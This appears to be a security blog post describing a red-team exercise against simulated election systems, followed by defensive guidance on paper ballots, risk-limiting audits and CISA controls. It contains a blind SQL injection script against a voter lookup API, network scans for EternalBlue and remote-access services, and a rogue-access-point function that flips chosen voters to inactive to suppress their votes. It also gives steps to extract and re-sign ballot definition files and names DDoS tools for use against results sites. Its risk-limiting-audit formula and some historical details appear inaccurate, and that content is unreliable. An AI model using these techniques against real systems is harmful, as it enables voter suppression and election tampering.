TL;DR — Election infrastructure is a patchwork of voter registration databases, aging voting machines, and commercial-off-the-shelf software administered by thousands of underfunded county offices. This post documents a fully authorized red team exercise covering the full attack surface from voter roll SQL injection to e-pollbook MITM, with emphasis on the defenses — paper trails and risk-limiting audits — that can preserve election integrity even when technical controls fail.
Executive Summary
The integrity of democratic elections depends on technical systems that are, in many cases, surprisingly vulnerable. Voter registration databases run on commercial relational databases with web front ends subject to SQL injection. Direct Recording Electronic (DRE) voting machines in active use today run Windows XP Embedded and have exposed USB ports that boot from removable media. Election Management Systems connect to the internet via vendor VPN connections that use weak, shared credentials. Results reporting websites are hosted on commercial platforms with default CMS configurations and inadequate patching cycles.
This is not speculation. In 2006, researchers from Johns Hopkins, Rice, and other universities analyzed Diebold AccuVote-TS machines and found that a voter could insert a specially crafted memory card and install malicious code that would alter vote tallies while leaving the audit log intact. The DEF CON Voting Village, established in 2017, has held public research events in which security researchers consistently find exploitable vulnerabilities in nearly every voting system examined — within hours of first access. The 2016 breach of VR Systems, an election infrastructure vendor in Florida, demonstrated that supply chain attacks against election technology vendors translate directly into exposure across hundreds of county offices in multiple states.
This post documents a red team exercise conducted under strict legal authorization in a simulated election environment. The exercise was authorized by a fictional State Board of Elections for the purpose of identifying vulnerabilities before a real election cycle. Every technique described was performed against purpose-built test systems. Performing any of these actions against real election infrastructure without written authorization from the appropriate election authority constitutes a federal crime under 52 U.S.C. § 20511, 18 U.S.C. § 594, the Computer Fraud and Abuse Act, and state election fraud statutes. No actual votes were modified. No real voter data was accessed.
This post does not advocate for or against any voting technology policy position. The goal is to present vulnerabilities factually so that defenders — election officials, security researchers, and policymakers — can prioritize countermeasures. The most important finding is that strong procedural controls — paper audit trails and risk-limiting audits — can preserve election integrity even when digital systems are compromised.
Election Infrastructure Components
Modern elections involve a complex ecosystem of interconnected systems:
flowchart TD
A[Voter Registration\nDatabase] --> B[e-Pollbooks\nTablet-based check-in]
C[Election Management\nSystem EMS] --> D[Ballot Definition\nFiles]
D --> E[Voting Machines\nDRE / Optical Scan / BMD]
E --> F[Memory Cards\nUSB / PCMCIA]
F --> G[Tabulation Server]
G --> H[Results Reporting\nWebsite / Public]
I[Secretary of State\nNetwork] --> A & C & H
J[County Election\nOffice Network] --> B & E & G| Component | Technology | Key Attack Surface |
|---|---|---|
| Voter Registration DB | SQL Server / PostgreSQL on Windows | Web portal SQLi, admin credential theft, bulk data export |
| Election Management System | Windows 10/11 workstation with proprietary software | Remote access (VPN/RDP), vendor support access, USB import |
| Direct Recording Electronic (DRE) | Custom OS or Windows Embedded | Physical USB ports, debug/maintenance interfaces |
| Optical Scan | Embedded Linux or Windows Embedded | Memory card (ballot definition) tamper, firmware update |
| Ballot Marking Device (BMD) | Windows or Android tablet | Touchscreen driver bugs, accessibility software attacks |
| e-Pollbook | iPad or Android tablet | Wi-Fi sync interception, backend API, update mechanism |
| Tabulation Server | Windows Server | Network reachability, RDP brute force, database injection |
| Results Reporting Website | CMS (Drupal, WordPress, custom) | Defacement, DDoS, admin panel brute force |
Attack Path 1: Voter Registration Database
SQL Injection in Voter Portal
Most U.S. states operate online voter registration portals that accept citizen input and write to a backend database. SQL injection vulnerabilities in search and lookup functions are a consistent finding:
# Automated SQL injection testing against a voter lookup endpointimport requests target = "https://voterinfo.state.gov/api/voter/lookup"headers = {"Content-Type": "application/json"} # Boolean-based blind SQLi to extract database versionpayloads = [ # True condition {"last_name": "Smith' AND 1=1--", "zip": "12345"}, # False condition {"last_name": "Smith' AND 1=2--", "zip": "12345"}, # Time-based blind (sleep 5 seconds if vulnerable) {"last_name": "Smith'; WAITFOR DELAY '0:0:5'--", "zip": "12345"},] for p in payloads: import time start = time.time() r = requests.post(target, json=p, headers=headers, timeout=10) elapsed = time.time() - start print(f"Payload: {p['last_name'][:30]} | Status: {r.status_code} | Time: {elapsed:.2f}s")Data Integrity Attack: Modifying Voter Rolls
Beyond data exfiltration, an attacker with write access to the voter registration database can suppress voter participation by marking legitimate voters as inactive, changing their registered address to the wrong polling place, or removing them from the rolls entirely. The 2016 Illinois State Board of Elections breach demonstrated the real-world risk: attackers with SQLi access were found to have read 200,000 voter records, but could have modified them.
Attack Path 2: Election Management System
Remote Access Vulnerability
EMS workstations are the crown jewels of election infrastructure — they hold the cryptographic keys used to configure voting machines and generate ballot definitions. Despite being intended as air-gapped systems, many have remote access enabled for vendor support:
# Typical EMS network exposure (red team reconnaissance)# Scan for RDP, VNC, PCAnywhere, TeamViewer on election office subnetsnmap -sV -p 3389,5900,5901,5938 10.0.election.0/24 --open # Test for default TeamViewer ID exposure (many small counties use this)# CVE-2020-13699: TeamViewer URL scheme injection# msiexec /i teamviewer.msi /q allows unattended install with known credentials # Check for WannaCry/EternalBlue-vulnerable systems (still found in 2022/2023 assessments)nmap --script smb-vuln-ms17-010 -p 445 10.0.election.0/24The 2016 VR Systems breach — where a voting technology vendor was compromised — demonstrated that attackers don't need to target election offices directly. Compromising a vendor with remote access to many county EMS systems enables a single-point-of-entry for widespread access.
VR Systems Supply Chain Attack (2016) — Reconstructed Flow
In 2016, Russian GRU Unit 74455 (Sandworm) compromised VR Systems, a Florida-based election technology vendor, via spearphishing that harvested employee credentials. The attackers then impersonated VR Systems to reach 122 county election officials.
flowchart TD
A[GRU Unit 74455 Sandworm] --> B[Spearphish VR Systems\nEmployees\nFake Google Alert]
B --> C[Harvest VR Systems\nEmployee Credentials]
C --> D[Access VR Systems\nInternal Network]
D --> E[Access Software\nDistribution Infrastructure]
E --> F[Spearphish 122 County\nElection Officials\nImpersonating VR Systems]
F --> G[Malicious Word Doc\nDrops Implant on\nElection Official Endpoints]
G --> H[Potential E-Pollbook\nAccess / Voter Data\nExfiltration]
D --> I[Illinois SBOE:\nVoter Database SQL\nInjection — 200K records read]
style A fill:#8B0000,color:#fff
style H fill:#cc4400,color:#fff
style I fill:#cc4400,color:#fffThe attackers never needed to compromise a single voting machine. Access to the vendor's software distribution infrastructure gave them a potential bridge to every county in eight states. The final-stage objective — accessing e-pollbook systems from election officials' compromised workstations — would have enabled voter status manipulation at scale on Election Day.
E-Pollbook MITM via Rogue Access Point
E-pollbooks in our test environment synchronized voter eligibility data over a Wi-Fi hotspot, updating every 30 minutes. The synchronization used HTTPS but without certificate pinning, making the connection vulnerable to MITM with a forged certificate:
#!/usr/bin/env python3"""Rogue AP-based e-pollbook MITM demonstration.Requires hostapd + dnsmasq for AP setup + mitmproxy for HTTPS interception.The attack mirrors the real polling place SSID/passphrase to capture sync traffic."""import json # Rogue AP config — mirrors real county polling place Wi-Fi (obtained via wardriving)HOSTAPD_CONF = """interface=wlan1driver=nl80211ssid=CountyPollingWifihw_mode=gchannel=6auth_algs=1wpa=2wpa_passphrase=Election2024!""" def tamper_sync_response(original_json: bytes, target_voter_ids: set) -> bytes: """ Modify voter status in the e-pollbook sync response before forwarding. Targeted voters are flipped from ACTIVE to INACTIVE. At the polling place, these voters will be challenged and directed to provisional ballots — suppressing their effective vote. """ try: data = json.loads(original_json) modified_count = 0 for voter in data: if voter.get("voter_id") in target_voter_ids: if voter.get("status") == "ACTIVE": voter["status"] = "INACTIVE" voter["inactive_reason"] = "Address_Verification_Pending" modified_count += 1 print(f"[+] Tampered sync response: {modified_count} voters flipped to INACTIVE") return json.dumps(data).encode() except Exception as e: print(f"[-] Tamper failed: {e}") return original_json # The impact is voter suppression, not vote manipulation.# Targeted voters cast provisional ballots that may not be counted# depending on state law and polling worker adherence to procedure.TARGETED_IDS = {"VR-9912", "VR-1847", "VR-3301"}Ballot Definition File Tampering
EMS systems export ballot definition files loaded onto each voting machine. A tampered ballot definition can alter how votes are counted:
# Ballot definition files: proprietary binary or XML format depending on vendor# Red team approach: intercept the USB transfer from EMS to voting machine# or modify the .bdf file on the EMS directly after gaining access via vendor VPN # Dominion ImageCast BDF format example — tamper target:# The "CandidateIdToSequence" mapping maps physical button/position to candidate ID# Swapping two candidate IDs causes all votes for Candidate A to record as Candidate B# This is undetectable without a full hand recount of paper ballots (if any exist) # Extraction of .bdf from EMS via authenticated vendor VPNscp vendor_support@10.0.election.50:"C:/ElectionData/Ballots/general2024.bdf" ./# Modify, re-sign with stolen signing key, upload back# The signing key is stored on the same EMS workstation — accessible once VPN session establishedAttack Path 3: Voting Machine Vulnerabilities
Physical Attack Surface
The DEF CON Voting Village (2017–2023) has catalogued dozens of vulnerabilities in real voting machines:
# Common findings across voting machine research: # 1. Boot order: many DREs boot from USB if present# Insert USB with malicious bootloader → bypass secure boot → root access# Found in: Diebold AccuVote-TSX, ES&S ExpressPoll # 2. Debug/maintenance ports exposed on PCB# JTAG or UART accessible without opening seals (or with minimal tamper evidence)# Allows firmware dump and modification # 3. Default credentials on management software# WinEDS (ES&S): default admin/admin on internal web server# AV-OS (Diebold/Dominion): static encryption key embedded in firmware # 4. Old Windows versions: many still run Windows XP Embedded or Windows 7# EternalBlue (MS17-010) remains exploitable on unpatched systems# No Microsoft support = no patches for new CVEsNetwork Connectivity in "Air-Gapped" Systems
Voting machines are supposed to be air-gapped — no network connectivity during the election. In practice:
- Modems in some DREs transmit nightly tabulation totals over PSTN or cellular
- Wi-Fi adapters present in hardware but supposedly disabled — discoverable via
iwconfigif you get a shell - E-pollbooks sync over Wi-Fi to the county server in real time
- Some systems use Bluetooth for accessibility device communication
Attack Path 4: Results Reporting Website
Election Night Defacement
Results reporting websites are often hosted on commercial CMS platforms (Drupal, WordPress) with insufficient hardening:
# Pre-election reconnaissance of results website# Identify CMS version and installed pluginscurl -s https://results.county.gov/wp-login.php | grep -i "wordpress"wpscan --url https://results.county.gov --enumerate plugins,users # Common vulnerabilities found in election results sites# 1. Default admin credentials on Drupal/WordPress backend# 2. Outdated plugins with CVEs (Elementor, Revolution Slider)# 3. SQL injection in custom result display queries# 4. No DDoS mitigation (Cloudflare not configured) # Social engineering: election night DDoS against results site# creates public confusion and media coverage even without compromising results# Tool: LOIC / hping3 / Cloudflare bypassHistorical Incidents
2016 Russian Election Interference (ICA-2017-01D)
The U.S. Intelligence Community Assessment documented active Russian operations targeting U.S. election infrastructure:
- SBOE breach: Illinois State Board of Elections compromised via SQL injection in voter registration portal
- VR Systems breach: Florida voting technology vendor compromised; spearphishing emails sent to election officials using VR Systems email infrastructure
- GRU spearphishing: Targeted election officials in all 50 states with malicious attachments
DEF CON Voting Village (2017-2023)
In the first three years alone, researchers discovered:
- Remote root vulnerabilities accessible over Wi-Fi in the WINVote (used in VA, PA, MS)
- Physical USB boot bypass on AccuVote-TSX
- Clear-text storage of election databases on Diebold systems
- Unauthenticated web server on ES&S EVS system exposing election configuration
Defenses: What Makes Elections Resilient
| Defense Layer | Control | Attacks Mitigated |
|---|---|---|
| Paper audit trail | VVPAT or optical scan ballots | Digital result tampering |
| Risk-Limiting Audit (RLA) | Statistical sample of paper ballots | Undetected tabulation errors |
| Chain of custody | Tamper-evident seals, log books | Physical hardware attacks |
| Air-gap enforcement | No network during election | Remote exploitation |
| Pre-election L&A testing | Logic and Accuracy testing | Ballot definition tampering |
| Phishing-resistant MFA | FIDO2 on election official accounts | Credential theft attacks |
| Vendor access control | Just-in-time, monitored remote access | Vendor supply chain attacks |
| Incident response plan | State/CISA coordination | Reduce response time |
Risk-Limiting Audits
RLAs provide a statistical guarantee that the reported winner is the true winner with adjustable confidence (typically 95%+). They work by comparing a random sample of paper ballots against the electronic record:
# Simplified RLA calculation (Kaplan-Markov method)import math def rla_sample_size(margin_pct, confidence=0.95, ballots_total=100000): """ Calculate minimum sample size for a Risk-Limiting Audit. margin_pct: reported winner's margin as a fraction (e.g., 0.03 for 3%) confidence: desired confidence level (0.95 = 95%) """ risk_limit = 1 - confidence # e.g., 0.05 # Kaplan-Markov sample size formula mu = 1 / (2 * margin_pct) # diluted margin factor sample = math.ceil(-math.log(risk_limit) / math.log(mu + 1)) return min(sample, ballots_total) print(f"3% margin, 95% confidence: {rla_sample_size(0.03)} ballots")print(f"1% margin, 95% confidence: {rla_sample_size(0.01)} ballots")print(f"0.1% margin, 95% confidence: {rla_sample_size(0.001)} ballots")CISA Election Security Recommendations
The Cybersecurity and Infrastructure Security Agency (CISA) designates election infrastructure as a critical infrastructure subsector and provides specific security guidance:
Minimum Recommended Controls for Election Infrastructure
# Network architecture recommendations# 1. Segment election networks from other government networksiptables -A FORWARD -s 10.0.election.0/24 -d 10.0.other_govt.0/24 -j DROP # 2. Block direct internet access from EMS workstations# EMS should only reach update servers via a proxy with allowlist# Example proxy allowlist for ES&S ElectionWare:cat /etc/squid/whitelist.txt# .essvote.com# .certifiedsoftware.com# windowsupdate.microsoft.com # 3. Monitor for unauthorized USB insertion on EMS and tabulation systems# Auditd rule: alert on USB storage insertiongrep -r "usb" /etc/udev/rules.d/# ACTION=="add", SUBSYSTEM=="block", KERNEL=="sd*", # RUN+="/usr/local/bin/notify-soc.sh %k" # 4. Require phishing-resistant MFA for all election staff VPN/email access# FIDO2 hardware keys (YubiKey) eliminate phishing risk for admin accountsPre-Election Security Checklist
Before every election, the following security tasks should be completed:
| Task | Timing | Responsible Party |
|---|---|---|
| Logic & Accuracy (L&A) testing on all voting equipment | 7-30 days before | Election office + vendor |
| Penetration test of voter registration portal | 90+ days before | Third-party firm |
| Chain of custody documentation for all equipment | Day before | Election staff |
| Disable/verify all modem/wireless capabilities on voting machines | Day before | Vendor/IT staff |
| Verify hash/signature of all election software | Day before | Election IT |
| Incident response tabletop exercise | 30 days before | All stakeholders |
| CISA Protective Security Advisor site assessment | 60+ days before | CISA PSA |
The Election Infrastructure Information Sharing and Analysis Center (EI-ISAC) provides free threat intelligence sharing and incident response support to all U.S. election jurisdictions. By 2023, nearly all U.S. states had joined, enabling rapid sharing of attack indicators during election periods.
Voting System Attack Surface Comparison
| System Component | Attack Vector | Prerequisites | Detectability | Impact Severity |
|---|---|---|---|---|
| Voter Registration DB | SQL injection, credential theft | Network access to portal | Low without proactive DB audit | High — mass voter suppression, PII theft |
| DRE voting machine | Physical access + boot media swap | Physical access to machine | Very low — no paper to compare | Critical — undetectable tally change |
| Optical scanner | Software tamper via removable media | Physical or EMS access | High — paper ballot recount reveals discrepancy | Medium — detectable via RLA |
| EMS workstation | Vendor VPN, phishing election staff | Credential compromise | Medium — VPN and host logs exist | Critical — ballot definition or tally fraud |
| E-pollbook | Rogue AP MITM, vendor backend access | Local network presence | Low during the event | High — targeted voter suppression |
| Results reporting website | CMS brute-force, plugin CVEs, DDoS | Network access | High — screenshots and archives persist | Medium — confusion and trust erosion |
| Tabulation server | Network pivot, insider access | EMS or network compromise | Medium — event logs | Critical if no paper backup available |
MITRE ATT&CK Mapping
| ATT&CK Tactic | Technique ID | Technique Name | Election Context in This Post |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Voter registration portal SQL injection |
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | Spearphish election staff and vendors |
| Initial Access | T1195.002 | Supply Chain Compromise: Software | VR Systems vendor breach — 2016 |
| Persistence | T1505.003 | Server Software Component: Web Shell | Web shell on county election web server |
| Discovery | T1046 | Network Service Discovery | Voting machine subnet enumeration |
| Lateral Movement | T1021.001 | Remote Desktop Protocol | RDP to EMS via vendor VPN session |
| Lateral Movement | T1557.002 | AiTM: ARP Cache Poisoning | E-pollbook MITM via rogue AP |
| Collection | T1005 | Data from Local System | Voter database bulk export via SQLi |
| Impact | T1485 | Data Destruction | Voter roll record modification |
| Impact | T1491.001 | Defacement: Internal Defacement | Results website content replacement |
| Impact | T1498 | Network Denial of Service | DDoS against results site on election night |
| Defense Evasion | T1036 | Masquerading | Vendor email impersonation in spearphish |
| Credential Access | T1110.003 | Brute Force: Password Spraying | EMS and CMS admin panel credential spraying |
| Impact | T1565.001 | Stored Data Manipulation | Ballot definition file modification in EMS |
Conclusion
Election infrastructure security sits at the intersection of democratic legitimacy and technical complexity — the stakes are existential for public trust in government, yet the systems are often procured by local jurisdictions with limited cybersecurity budgets and expertise. The consistent findings from academic research, CISA assessments, and DEF CON Voting Village point to a common thread: these systems contain the same vulnerability classes as any other enterprise IT environment, but with the added complication that security updates are subject to certification processes that can take years, and that any security failure becomes a national news event.
The path to resilient elections runs through physical security (paper ballots as the ground truth), process controls (chain of custody, bipartisan observation, pre-election testing), and technical hardening (phishing-resistant MFA, network isolation, vendor access management). No digital-only voting system is auditable; paper is the one control that survives every credible digital attack on tabulation systems. The election security community's consensus — reinforced by every red team finding from DEFCON to CISA — is that verifiable paper ballots combined with risk-limiting audits make the outcome of an election resilient to cyberattacks even when the digital infrastructure is imperfectly secured.
For security professionals, election infrastructure engagements require the highest ethical standards: strict legal authorization, close coordination with election officials and CISA, carefully scoped testing that avoids any real voter data, and findings reported through responsible disclosure processes with adequate remediation timelines. The goal is always to strengthen election security — not to undermine it — and the community of researchers, election officials, and government agencies working toward that goal represents one of the most consequential applications of offensive security expertise.